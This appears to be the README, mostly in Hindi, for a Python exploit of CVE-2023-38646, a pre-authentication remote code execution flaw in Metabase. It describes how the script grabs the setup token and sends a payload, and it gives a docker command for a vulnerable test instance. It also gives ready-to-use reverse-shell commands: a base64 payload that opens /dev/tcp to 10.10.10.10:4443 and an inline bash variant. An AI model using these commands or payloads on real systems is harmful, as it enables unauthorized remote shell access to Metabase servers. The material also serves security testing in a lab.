
CVE-2023-38646 Metabase Pre-Auth RCE का SQL इंजेक्शन के माध्यम से शोषण करने के लिए Python स्क्रिप्ट
SQL इंजेक्शन के माध्यम से CVE-2023-38646 Metabase Pre-Auth RCE का शोषण करने के लिए Python स्क्रिप्ट
यह स्क्रिप्ट सेटअप टोकन प्राप्त करने और लक्ष्य की शोषण-क्षमता का आकलन करने के लिए /api/session/properties पर GET अनुरोध भेजेगी। यदि यह संवेदनशील है, तो यह सेटअप टोकन प्रिंट करेगी; अन्यथा यह एक त्रुटि संदेश के बाद बाहर निकल जाएगी।
यदि -x विकल्प का उपयोग किया जाता है और लक्ष्य संवेदनशील है, तो यह भेद्यता का शोषण करने का प्रयास करने के लिए प्रदान किए गए पेलोड का उपयोग करेगी।
इस अद्भुत राइटअप में अधिक जानकारी देखें, जो उस टीम द्वारा लिखा गया है जिसने यह भेद्यता खोजी: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
यदि आवश्यक हो, तो आप इस कमांड का उपयोग करके डॉकर कंटेनर में तुरंत एक परीक्षण वातावरण तैयार कर सकते हैं :
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
सेटअप पूरा करने के लिए http://127.0.0.1:3000/ पर विज़िट करने के बाद, और एक लिसनर शुरू करने के बाद,
आप RCE का शोषण कुछ इस प्रकार कर सकते हैं :
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
या revshells.com पर जाकर अपना स्वयं का base64 एन्कोडेड रिवर्स शेल प्राप्त करें।